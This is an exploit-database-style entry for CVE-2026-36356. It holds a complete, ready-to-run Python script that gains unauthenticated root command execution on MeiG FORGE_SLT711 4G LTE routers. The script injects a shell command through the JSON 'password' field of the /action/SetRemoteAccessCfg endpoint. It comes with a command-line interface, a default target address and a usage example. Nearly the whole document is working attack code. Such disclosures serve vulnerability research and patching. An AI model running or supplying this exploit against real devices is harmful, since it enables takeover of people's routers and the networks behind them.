# Exploit Title: MeiG Smart FORGE_SLT711 - OS Command Injection
# Date: 2026-05-03
# Exploit Author: Daniil Gordeev
# Vendor Homepage: http://www.meigsmart.com
# Software Link: N/A (firmware distributed via carrier channels)
# Version: Firmware MDM9607.LE.1.0-00110-STD.PROD-1 (likely all firmware versions of this product line)
# Tested on: MeiG FORGE_SLT711 (Ortel 4G LTE CPE), Qualcomm MDM9607, Linux 3.18.48
# CVE: CVE-2026-36356
"""
Unauthenticated RCE — MeiG FORGE_SLT711 (Ortel 4G LTE CPE)
GoAhead /action/SetRemoteAccessCfg OS command injection
Vuln: JSON "password" field → sprintf("echo root:\"%s\"|chpasswd") → system()
Auth: None (endpoint missing from route.txt auth list)
Root: Commands execute as uid=0(root)
Type: Blind — output not in HTTP response, use --cmd "cmd > /tmp/out" to exfil
Discovered: 2026-02-21
Tested on: FW MDM9607.LE.1.0-00110-STD.PROD-1
"""
import argparse
import json
import sys
import urllib.request
import urllib.error
def exploit(ip: str, cmd: str, port: int = 80, timeout: int = 10) -> bool:
url = f"http://{ip}:{port}/action/SetRemoteAccessCfg"
payload = json.dumps({"password": f"$({cmd})"})
req = urllib.request.Request(
url,
data=payload.encode(),
headers={"Content-Type": "application/json"},
method="POST",
)
try:
with urllib.request.urlopen(req, timeout=timeout) as resp:
body = resp.read().decode()
data = json.loads(body)
if data.get("retcode") == 0:
print(f"[+] retcode:0 — command executed as root")
return True
else:
print(f"[-] Unexpected response: {body}")
return False
except urllib.error.URLError as e:
print(f"[-] Connection failed: {e}")
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
def main():
p = argparse.ArgumentParser(
description="MeiG SLT711 GoAhead unauthenticated RCE (blind)",
epilog="Example: %(prog)s --ip 192.168.1.1 --cmd 'id > /tmp/out'",
)
p.add_argument("--ip", default="192.168.1.1", help="Target IP (default: 192.168.1.1)")
p.add_argument("--port", type=int, default=80, help="Target port (default: 80)")
p.add_argument("--cmd", required=True, help="Command to execute as root (blind, no output returned)")
p.add_argument("--timeout", type=int, default=10, help="HTTP timeout in seconds (default: 10)")
args = p.parse_args()
print(f"[*] Target: {args.ip}:{args.port}")
print(f"[*] Command: {args.cmd}")
print(f"[*] Payload: $({{cmd}}) inside password field")
ok = exploit(args.ip, args.cmd, args.port, args.timeout)
sys.exit(0 if ok else 1)
if __name__ == "__main__":
main()